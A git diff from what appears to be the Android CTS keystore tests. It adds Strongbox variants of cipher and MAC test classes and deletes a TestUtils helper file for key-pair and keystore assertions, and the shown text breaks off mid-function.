+public class StrongboxAES256ECBPKCS7PaddingCipherTest extends AES256ECBPKCS7PaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256GCMNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256GCMNoPaddingCipherTest.java
new file mode 100644
index 0000000..cf0aa2d
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256GCMNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES256GCMNoPaddingCipherTest extends AES256GCMNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeCBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeCBCNoPaddingCipherTest.java
new file mode 100644
index 0000000..750c6f2
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeCBCNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxDESedeCBCNoPaddingCipherTest extends DESedeCBCNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeCBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeCBCPKCS7PaddingCipherTest.java
new file mode 100644
index 0000000..9215c05
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeCBCPKCS7PaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxDESedeCBCPKCS7PaddingCipherTest extends DESedeCBCPKCS7PaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeECBNoPaddingCipherTest.java
new file mode 100644
index 0000000..ed7a790
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeECBNoPaddingCipherTest.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import java.security.AlgorithmParameters;
+import java.security.spec.AlgorithmParameterSpec;
+import java.security.spec.InvalidParameterSpecException;
+
+public class StrongboxDESedeECBNoPaddingCipherTest extends DESedeECBNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeECBPKCS7PaddingCipherTest.java
new file mode 100644
index 0000000..4e87dd8
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxDESedeECBPKCS7PaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxDESedeECBPKCS7PaddingCipherTest extends DESedeECBPKCS7PaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxMacTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxMacTest.java
new file mode 100644
index 0000000..3584389
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxMacTest.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+/**
+ * Tests for algorithm-agnostic functionality of MAC implementations backed by Android Keystore.
+ */
+public class StrongboxMacTest extends MacTest {
+
+    @Override
+    protected boolean isStrongbox() {
+        return true;
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
deleted file mode 100644
index 4efa171..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ /dev/null
@@ -1,1088 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.keystore.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.pm.FeatureInfo;
-import android.os.Build;
-import android.os.SystemProperties;
-import android.security.keystore.KeyGenParameterSpec;
-import android.security.keystore.KeyInfo;
-import android.security.keystore.KeyProperties;
-import android.security.keystore.KeyProtection;
-import android.test.MoreAsserts;
-
-import com.android.internal.util.HexDump;
-
-import junit.framework.Assert;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.math.BigInteger;
-import java.security.Key;
-import java.security.KeyFactory;
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import java.security.KeyPairGeneratorSpi;
-import java.security.KeyStore;
-import java.security.KeyStoreException;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.security.NoSuchProviderException;
-import java.security.PrivateKey;
-import java.security.ProviderException;
-import java.security.PublicKey;
-import java.security.UnrecoverableEntryException;
-import java.security.cert.Certificate;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.interfaces.ECKey;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
-import java.security.interfaces.RSAKey;
-import java.security.interfaces.RSAPrivateKey;
-import java.security.interfaces.RSAPublicKey;
-import java.security.spec.ECParameterSpec;
-import java.security.spec.EllipticCurve;
-import java.security.spec.InvalidKeySpecException;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Locale;
-import java.util.Map;
-import java.security.SecureRandom;
-
-import javax.crypto.SecretKey;
-import javax.crypto.SecretKeyFactory;
-import javax.crypto.spec.SecretKeySpec;
-
-abstract class TestUtils extends Assert {
-
-    static final String EXPECTED_CRYPTO_OP_PROVIDER_NAME = "AndroidKeyStoreBCWorkaround";
-    static final String EXPECTED_PROVIDER_NAME = "AndroidKeyStore";
-
-    static final long DAY_IN_MILLIS = 1000 * 60 * 60 * 24;
-
-    private TestUtils() {}
-
-    // Returns 0 if not implemented. Otherwise returns the feature version.
-    //
-    static int getFeatureVersionKeystore(Context appContext) {
-        PackageManager pm = appContext.getPackageManager();
-
-        int featureVersionFromPm = 0;
-        if (pm.hasSystemFeature(PackageManager.FEATURE_HARDWARE_KEYSTORE)) {
-            FeatureInfo info = null;
-            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
-            for (int n = 0; n < infos.length; n++) {
-                FeatureInfo i = infos[n];
-                if (i.name.equals(PackageManager.FEATURE_HARDWARE_KEYSTORE)) {
-                    info = i;
-                    break;
-                }
-            }
-            if (info != null) {
-                featureVersionFromPm = info.version;
-            }
-        }
-
-        return featureVersionFromPm;
-    }
-
-    // Returns 0 if not implemented. Otherwise returns the feature version.
-    //
-    static int getFeatureVersionKeystoreStrongBox(Context appContext) {
-        PackageManager pm = appContext.getPackageManager();
-
-        int featureVersionFromPm = 0;
-        if (pm.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE)) {
-            FeatureInfo info = null;
-            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
-            for (int n = 0; n < infos.length; n++) {
-                FeatureInfo i = infos[n];
-                if (i.name.equals(PackageManager.FEATURE_STRONGBOX_KEYSTORE)) {
-                    info = i;
-                    break;
-                }
-            }
-            if (info != null) {
-                featureVersionFromPm = info.version;
-            }
-        }
-
-        return featureVersionFromPm;
-    }
-
-    /**
-     * Returns whether 3DES KeyStore tests should run on this device. 3DES support was added in
-     * KeyMaster 4.0 and there should be no software fallback on earlier KeyMaster versions.
-     */
-    static boolean supports3DES() {
-        return "true".equals(SystemProperties.get("ro.hardware.keystore_desede"));
-    }
-
-    /**
-     * Returns whether the device has a StrongBox backed KeyStore.
-     */
-    static boolean hasStrongBox(Context context) {
-        return context.getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE);
-    }
-
-    /**
-     * Asserts the the key algorithm and algorithm-specific parameters of the two keys in the
-     * provided pair match.
-     */
-    static void assertKeyPairSelfConsistent(KeyPair keyPair) {
-        assertKeyPairSelfConsistent(keyPair.getPublic(), keyPair.getPrivate());
-    }
-
-    /**
-     * Asserts the the key algorithm and public algorithm-specific parameters of the two provided
-     * keys match.
-     */
-    static void assertKeyPairSelfConsistent(PublicKey publicKey, PrivateKey privateKey) {
-        assertNotNull(publicKey);
-        assertNotNull(privateKey);
-        assertEquals(publicKey.getAlgorithm(), privateKey.getAlgorithm());
-        String keyAlgorithm = publicKey.getAlgorithm();
-        if ("EC".equalsIgnoreCase(keyAlgorithm)) {
-            assertTrue("EC public key must be instanceof ECKey: "
-                    + publicKey.getClass().getName(),
-                    publicKey instanceof ECKey);
-            assertTrue("EC private key must be instanceof ECKey: "
-                    + privateKey.getClass().getName(),
-                    privateKey instanceof ECKey);
-            assertECParameterSpecEqualsIgnoreSeedIfNotPresent(
-                    "Private key must have the same EC parameters as public key",
-                    ((ECKey) publicKey).getParams(), ((ECKey) privateKey).getParams());
-        } else if ("RSA".equalsIgnoreCase(keyAlgorithm)) {
-            assertTrue("RSA public key must be instance of RSAKey: "
-                    + publicKey.getClass().getName(),
-                    publicKey instanceof RSAKey);
-            assertTrue("RSA private key must be instance of RSAKey: "
-                    + privateKey.getClass().getName(),
-                    privateKey instanceof RSAKey);
-            assertEquals("Private and public key must have the same RSA modulus",
-                    ((RSAKey) publicKey).getModulus(), ((RSAKey) privateKey).getModulus());
-        } else {
-            fail("Unsuported key algorithm: " + keyAlgorithm);
-        }
-    }
-
-    static int getKeySizeBits(Key key) {
-        if (key instanceof ECKey) {
-            return ((ECKey) key).getParams().getCurve().getField().getFieldSize();
-        } else if (key instanceof RSAKey) {
-            return ((RSAKey) key).getModulus().bitLength();
-        } else {
-            throw new IllegalArgumentException("Unsupported key type: " + key.getClass());
-        }
-    }
-
-    static void assertKeySize(int expectedSizeBits, KeyPair keyPair) {
-        assertEquals(expectedSizeBits, getKeySizeBits(keyPair.getPrivate()));
-        assertEquals(expectedSizeBits, getKeySizeBits(keyPair.getPublic()));
-    }
-
-    /**
-     * Asserts that the provided key pair is an Android Keystore key pair stored under the provided
-     * alias.
-     */
-    static void assertKeyStoreKeyPair(KeyStore keyStore, String alias, KeyPair keyPair) {
-        assertKeyMaterialExportable(keyPair.getPublic());
-        assertKeyMaterialNotExportable(keyPair.getPrivate());
-        assertTransparentKey(keyPair.getPublic());
-        assertOpaqueKey(keyPair.getPrivate());
-
-        KeyStore.Entry entry;
-        Certificate cert;
-        try {
-            entry = keyStore.getEntry(alias, null);
-            cert = keyStore.getCertificate(alias);
-        } catch (KeyStoreException | UnrecoverableEntryException | NoSuchAlgorithmException e) {
-            throw new RuntimeException("Failed to load entry: " + alias, e);
-        }
-        assertNotNull(entry);
-
-        assertTrue(entry instanceof KeyStore.PrivateKeyEntry);
-        KeyStore.PrivateKeyEntry privEntry = (KeyStore.PrivateKeyEntry) entry;
-        assertEquals(cert, privEntry.getCertificate());
-        assertTrue("Certificate must be an X.509 certificate: " + cert.getClass(),
-                cert instanceof X509Certificate);
-        final X509Certificate x509Cert = (X509Certificate) cert;
-
-        PrivateKey keystorePrivateKey = privEntry.getPrivateKey();
-        PublicKey keystorePublicKey = cert.getPublicKey();
-        assertEquals(keyPair.getPrivate(), keystorePrivateKey);
-        assertTrue("Key1:\n" + HexDump.dumpHexString(keyPair.getPublic().getEncoded())
-                + "\nKey2:\n" + HexDump.dumpHexString(keystorePublicKey.getEncoded()) + "\n",
-                Arrays.equals(keyPair.getPublic().getEncoded(), keystorePublicKey.getEncoded()));
-
-
-        assertEquals(
-                "Public key used to sign certificate should have the same algorithm as in KeyPair",
-                keystorePublicKey.getAlgorithm(), x509Cert.getPublicKey().getAlgorithm());
-
-        Certificate[] chain = privEntry.getCertificateChain();
-        if (chain.length == 0) {
-            fail("Empty certificate chain");
-            return;
-        }
-        assertEquals(cert, chain[0]);
-    }
-
-
-    private static void assertKeyMaterialExportable(Key key) {
-        if (key instanceof PublicKey) {
-            assertEquals("X.509", key.getFormat());
-        } else if (key instanceof PrivateKey) {
-            assertEquals("PKCS#8", key.getFormat());
-        } else if (key instanceof SecretKey) {
-            assertEquals("RAW", key.getFormat());
-        } else {
-            fail("Unsupported key type: " + key.getClass().getName());
-        }
-        byte[] encodedForm = key.getEncoded();
-        assertNotNull(encodedForm);
-        if (encodedForm.length == 0) {
-            fail("Empty encoded form");
-        }
-    }
-
-    private static void assertKeyMaterialNotExportable(Key key) {
-        assertEquals(null, key.getFormat());
-        assertEquals(null, key.getEncoded());
-    }
-
-    private static void assertOpaqueKey(Key key) {
-        assertFalse(key.getClass().getName() + " is a transparent key", isTransparentKey(key));
-    }
-
-    private static void assertTransparentKey(Key key) {
-        assertTrue(key.getClass().getName() + " is not a transparent key", isTransparentKey(key));
-    }
-
-    private static boolean isTransparentKey(Key key) {
-        if (key instanceof PrivateKey) {
-            return (key instanceof ECPrivateKey) || (key instanceof RSAPrivateKey);
-        } else if (key instanceof PublicKey) {
-            return (key instanceof ECPublicKey) || (key instanceof RSAPublicKey);
-        } else if (key instanceof SecretKey) {
-            return (key instanceof SecretKeySpec);
-        } else {
-            throw new IllegalArgumentException("Unsupported key type: " + key.getClass().getName());
-        }
-    }
-
-    static void assertECParameterSpecEqualsIgnoreSeedIfNotPresent(
-            ECParameterSpec expected, ECParameterSpec actual) {
-        assertECParameterSpecEqualsIgnoreSeedIfNotPresent(null, expected, actual);
-    }
-
-    static void assertECParameterSpecEqualsIgnoreSeedIfNotPresent(String message,
-            ECParameterSpec expected, ECParameterSpec actual) {
-        EllipticCurve expectedCurve = expected.getCurve();
-        EllipticCurve actualCurve = actual.getCurve();
-        String msgPrefix = (message != null) ? message + ": " : "";
-        assertEquals(msgPrefix + "curve field", expectedCurve.getField(), actualCurve.getField());
-        assertEquals(msgPrefix + "curve A", expectedCurve.getA(), actualCurve.getA());
-        assertEquals(msgPrefix + "curve B", expectedCurve.getB(), actualCurve.getB());
-        assertEquals(msgPrefix + "order", expected.getOrder(), actual.getOrder());
-        assertEquals(msgPrefix + "generator",
-                expected.getGenerator(), actual.getGenerator());
-        assertEquals(msgPrefix + "cofactor", expected.getCofactor(), actual.getCofactor());
-
-        // If present, the seed must be the same
-        byte[] expectedSeed = expectedCurve.getSeed();
-        byte[] actualSeed = expectedCurve.getSeed();
-        if ((expectedSeed != null) && (actualSeed != null)) {
-            MoreAsserts.assertEquals(expectedSeed, actualSeed);
-        }
-    }
-
-    static KeyInfo getKeyInfo(Key key) throws InvalidKeySpecException, NoSuchAlgorithmException,
-            NoSuchProviderException {
-        if ((key instanceof PrivateKey) || (key instanceof PublicKey)) {
-            return KeyFactory.getInstance(key.getAlgorithm(), "AndroidKeyStore")
-                    .getKeySpec(key, KeyInfo.class);
-        } else if (key instanceof SecretKey) {
-            return (KeyInfo) SecretKeyFactory.getInstance(key.getAlgorithm(), "AndroidKeyStore")
-                    .getKeySpec((SecretKey) key, KeyInfo.class);
-        } else {
-            throw new IllegalArgumentException("Unexpected key type: " + key.getClass());
-        }
-    }
-
-    static <T> void assertContentsInAnyOrder(Iterable<T> actual, T... expected) {
-        assertContentsInAnyOrder(null, actual, expected);
-    }
-
-    static <T> void assertContentsInAnyOrder(String message, Iterable<T> actual, T... expected) {
-        Map<T, Integer> actualFreq = getFrequencyTable(actual);
-        Map<T, Integer> expectedFreq = getFrequencyTable(expected);
-        if (actualFreq.equals(expectedFreq)) {
-            return;
-        }
-
-        Map<T, Integer> extraneousFreq = new HashMap<T, Integer>();
-        for (Map.Entry<T, Integer> actualEntry : actualFreq.entrySet()) {
-            int actualCount = actualEntry.getValue();
-            Integer expectedCount = expectedFreq.get(actualEntry.getKey());
-            int diff = actualCount - ((expectedCount != null) ? expectedCount : 0);
-            if (diff > 0) {
-                extraneousFreq.put(actualEntry.getKey(), diff);
-            }
-        }
-
-        Map<T, Integer> missingFreq = new HashMap<T, Integer>();
-        for (Map.Entry<T, Integer> expectedEntry : expectedFreq.entrySet()) {
-            int expectedCount = expectedEntry.getValue();
-            Integer actualCount = actualFreq.get(expectedEntry.getKey());
-            int diff = expectedCount - ((actualCount != null) ? actualCount : 0);
-            if (diff > 0) {
-                missingFreq.put(expectedEntry.getKey(), diff);
-            }
-        }
-
-        List<T> extraneous = frequencyTableToValues(extraneousFreq);
-        List<T> missing = frequencyTableToValues(missingFreq);
-        StringBuilder result = new StringBuilder();
-        String delimiter = "";
-        if (message != null) {
-            result.append(message).append(".");
-            delimiter = " ";
-        }
-        if (!missing.isEmpty()) {
-            result.append(delimiter).append("missing: " + missing);
-            delimiter = ", ";
-        }
-        if (!extraneous.isEmpty()) {
-            result.append(delimiter).append("extraneous: " + extraneous);
-        }
-        fail(result.toString());
-    }
-
-    private static <T> Map<T, Integer> getFrequencyTable(Iterable<T> values) {
-        Map<T, Integer> result = new HashMap<T, Integer>();
-        for (T value : values) {
-            Integer count = result.get(value);
-            if (count == null) {
-                count = 1;
-            } else {
-                count++;
-            }
-            result.put(value, count);
-        }
-        return result;
-    }
-
-    private static <T> Map<T, Integer> getFrequencyTable(T... values) {
-        Map<T, Integer> result = new HashMap<T, Integer>();
-        for (T value : values) {
-            Integer count = result.get(value);
-            if (count == null) {
-                count = 1;
-            } else {
-                count++;
-            }
-            result.put(value, count);
-        }
-        return result;
-    }
-
-    @SuppressWarnings("rawtypes")
-    private static <T> List<T> frequencyTableToValues(Map<T, Integer> table) {
-        if (table.isEmpty()) {
-            return Collections.emptyList();
-        }
-
-        List<T> result = new ArrayList<T>();
-        boolean comparableValues = true;
-        for (Map.Entry<T, Integer> entry : table.entrySet()) {
-            T value = entry.getKey();
-            if (!(value instanceof Comparable)) {
-                comparableValues = false;
-            }
-            int frequency = entry.getValue();
-            for (int i = 0; i < frequency; i++) {
-                result.add(value);
-            }
-        }
-
-        if (comparableValues) {
-            sortAssumingComparable(result);
-        }
-        return result;
-    }
-
-    @SuppressWarnings({"rawtypes", "unchecked"})
-    private static void sortAssumingComparable(List<?> values) {
-        Collections.sort((List<Comparable>)values);
-    }
-
-    static String[] toLowerCase(String... values) {
-        if (values == null) {
-            return null;
-        }
-        String[] result = new String[values.length];
-        for (int i = 0; i < values.length; i++) {
-            String value = values[i];
-            result[i] = (value != null) ? value.toLowerCase() : null;
-        }
-        return result;
-    }
-
-    static PrivateKey getRawResPrivateKey(Context context, int resId) throws Exception {
-        byte[] pkcs8EncodedForm;
-        try (InputStream in = context.getResources().openRawResource(resId)) {
-            pkcs8EncodedForm = drain(in);
-        }
-        PKCS8EncodedKeySpec privateKeySpec = new PKCS8EncodedKeySpec(pkcs8EncodedForm);
-
-        try {
-            return KeyFactory.getInstance("EC").generatePrivate(privateKeySpec);
-        } catch (InvalidKeySpecException e) {
-            try {
-                return KeyFactory.getInstance("RSA").generatePrivate(privateKeySpec);
-            } catch (InvalidKeySpecException e2) {
-                throw new InvalidKeySpecException("The key is neither EC nor RSA", e);
-            }
-        }
-    }
-
-    static X509Certificate getRawResX509Certificate(Context context, int resId) throws Exception {
-        try (InputStream in = context.getResources().openRawResource(resId)) {
-            return (X509Certificate) CertificateFactory.getInstance("X.509")
-                    .generateCertificate(in);
-        }
-    }
-
-    static KeyPair importIntoAndroidKeyStore(
-            String alias,
-            PrivateKey privateKey,
-            Certificate certificate,
-            KeyProtection keyProtection) throws Exception {
-        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
-        keyStore.load(null);
-        keyStore.setEntry(alias,
-                new KeyStore.PrivateKeyEntry(privateKey, new Certificate[] {certificate}),
-                keyProtection);
-        return new KeyPair(
-                keyStore.getCertificate(alias).getPublicKey(),
-                (PrivateKey) keyStore.getKey(alias, null));
-    }
-
-    static ImportedKey importIntoAndroidKeyStore(
-            String alias,
-            SecretKey key,
-            KeyProtection keyProtection) throws Exception {
-        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
-        keyStore.load(null);
-        keyStore.setEntry(alias,
-                new KeyStore.SecretKeyEntry(key),
-                keyProtection);
-        return new ImportedKey(alias, key, (SecretKey) keyStore.getKey(alias, null));
-    }
-
-    static ImportedKey importIntoAndroidKeyStore(
-            String alias, Context context, int privateResId, int certResId, KeyProtection params)
-                    throws Exception {
-        Certificate originalCert = TestUtils.getRawResX509Certificate(context, certResId);
-        PublicKey originalPublicKey = originalCert.getPublicKey();
-        PrivateKey originalPrivateKey = TestUtils.getRawResPrivateKey(context, privateResId);
-
-        // Check that the domain parameters match between the private key and the public key. This
-        // is to catch accidental errors where a test provides the wrong resource ID as one of the
-        // parameters.
-        if (!originalPublicKey.getAlgorithm().equalsIgnoreCase(originalPrivateKey.getAlgorithm())) {
-            throw new IllegalArgumentException("Key algorithm mismatch."
-                    + " Public: " + originalPublicKey.getAlgorithm()
-                    + ", private: " + originalPrivateKey.getAlgorithm());
-        }
-        assertKeyPairSelfConsistent(originalPublicKey, originalPrivateKey);
-
-        KeyPair keystoreBacked = TestUtils.importIntoAndroidKeyStore(
-                alias, originalPrivateKey, originalCert,
-                params);
-        assertKeyPairSelfConsistent(keystoreBacked);
-        assertKeyPairSelfConsistent(keystoreBacked.getPublic(), originalPrivateKey);
-        return new ImportedKey(
-                alias,
-                new KeyPair(originalCert.getPublicKey(), originalPrivateKey),
-                keystoreBacked);
-    }
-
-    static byte[] drain(InputStream in) throws IOException {
-        ByteArrayOutputStream result = new ByteArrayOutputStream();
-        byte[] buffer = new byte[16 * 1024];
-        int chunkSize;
-        while ((chunkSize = in.read(buffer)) != -1) {
-            result.write(buffer, 0, chunkSize);
-        }
-        return result.toByteArray();
-    }
-
-    static KeyProtection.Builder buildUpon(KeyProtection params) {
-        return buildUponInternal(params, null);
-    }
-
-    static KeyProtection.Builder buildUpon(KeyProtection params, int newPurposes) {
-        return buildUponInternal(params, newPurposes);
-    }
-
-    static KeyProtection.Builder buildUpon(
-            KeyProtection.Builder builder) {
-        return buildUponInternal(builder.build(), null);
-    }
-
-    static KeyProtection.Builder buildUpon(
-            KeyProtection.Builder builder, int newPurposes) {
-        return buildUponInternal(builder.build(), newPurposes);
-    }
-
-    private static KeyProtection.Builder buildUponInternal(
-            KeyProtection spec, Integer newPurposes) {
-        int purposes = (newPurposes == null) ? spec.getPurposes() : newPurposes;
-        KeyProtection.Builder result = new KeyProtection.Builder(purposes);
-        result.setBlockModes(spec.getBlockModes());
-        if (spec.isDigestsSpecified()) {
-            result.setDigests(spec.getDigests());
-        }
-        result.setEncryptionPaddings(spec.getEncryptionPaddings());
-        result.setSignaturePaddings(spec.getSignaturePaddings());
-        result.setKeyValidityStart(spec.getKeyValidityStart());
-        result.setKeyValidityForOriginationEnd(spec.getKeyValidityForOriginationEnd());
-        result.setKeyValidityForConsumptionEnd(spec.getKeyValidityForConsumptionEnd());
-        result.setRandomizedEncryptionRequired(spec.isRandomizedEncryptionRequired());
-        result.setUserAuthenticationRequired(spec.isUserAuthenticationRequired());
-        result.setUserAuthenticationValidityDurationSeconds(
-                spec.getUserAuthenticationValidityDurationSeconds());
-        result.setBoundToSpecificSecureUserId(spec.getBoundToSpecificSecureUserId());
-        return result;
-    }
-
-    static KeyGenParameterSpec.Builder buildUpon(KeyGenParameterSpec spec) {
-        return buildUponInternal(spec, null);
-    }
-
-    static KeyGenParameterSpec.Builder buildUpon(KeyGenParameterSpec spec, int newPurposes) {
-        return buildUponInternal(spec, newPurposes);
-    }
-
-    static KeyGenParameterSpec.Builder buildUpon(
-            KeyGenParameterSpec.Builder builder) {
-        return buildUponInternal(builder.build(), null);
-    }
-
-    static KeyGenParameterSpec.Builder buildUpon(
-            KeyGenParameterSpec.Builder builder, int newPurposes) {
-        return buildUponInternal(builder.build(), newPurposes);
-    }
-
-    private static KeyGenParameterSpec.Builder buildUponInternal(
-            KeyGenParameterSpec spec, Integer newPurposes) {
-        int purposes = (newPurposes == null) ? spec.getPurposes() : newPurposes;
-        KeyGenParameterSpec.Builder result =
-                new KeyGenParameterSpec.Builder(spec.getKeystoreAlias(), purposes);
-        if (spec.getKeySize() >= 0) {
-            result.setKeySize(spec.getKeySize());
-        }
-        if (spec.getAlgorithmParameterSpec() != null) {
-            result.setAlgorithmParameterSpec(spec.getAlgorithmParameterSpec());
-        }
-        result.setCertificateNotBefore(spec.getCertificateNotBefore());
-        result.setCertificateNotAfter(spec.getCertificateNotAfter());
-        result.setCertificateSerialNumber(spec.getCertificateSerialNumber());
-        result.setCertificateSubject(spec.getCertificateSubject());
-        result.setBlockModes(spec.getBlockModes());
-        if (spec.isDigestsSpecified()) {
-            result.setDigests(spec.getDigests());
-        }
-        result.setEncryptionPaddings(spec.getEncryptionPaddings());
-        result.setSignaturePaddings(spec.getSignaturePaddings());
-        result.setKeyValidityStart(spec.getKeyValidityStart());
-        result.setKeyValidityForOriginationEnd(spec.getKeyValidityForOriginationEnd());
-        result.setKeyValidityForConsumptionEnd(spec.getKeyValidityForConsumptionEnd());
-        result.setRandomizedEncryptionRequired(spec.isRandomizedEncryptionRequired());
-        result.setUserAuthenticationRequired(spec.isUserAuthenticationRequired());
-        result.setUserAuthenticationValidityDurationSeconds(
-                spec.getUserAuthenticationValidityDurationSeconds());
-        return result;
-    }
-
-    static KeyPair getKeyPairForKeyAlgorithm(String keyAlgorithm, Iterable<KeyPair> keyPairs) {
-        for (KeyPair keyPair : keyPairs) {
-            if (keyAlgorithm.equalsIgnoreCase(keyPair.getPublic().getAlgorithm())) {
-                return keyPair;
-            }
-        }
-        throw new IllegalArgumentException("No KeyPair for key algorithm " + keyAlgorithm);
-    }
-
-    static Key getKeyForKeyAlgorithm(String keyAlgorithm, Iterable<? extends Key> keys) {
-        for (Key key : keys) {
-            if (keyAlgorithm.equalsIgnoreCase(key.getAlgorithm())) {
-                return key;
-            }
-        }
-        throw new IllegalArgumentException("No Key for key algorithm " + keyAlgorithm);
-    }
-
-    static byte[] generateLargeKatMsg(byte[] seed, int msgSizeBytes) throws Exception {
-        byte[] result = new byte[msgSizeBytes];
-        MessageDigest digest = MessageDigest.getInstance("SHA-512");
-        int resultOffset = 0;
-        int resultRemaining = msgSizeBytes;
-        while (resultRemaining > 0) {
-            seed = digest.digest(seed);
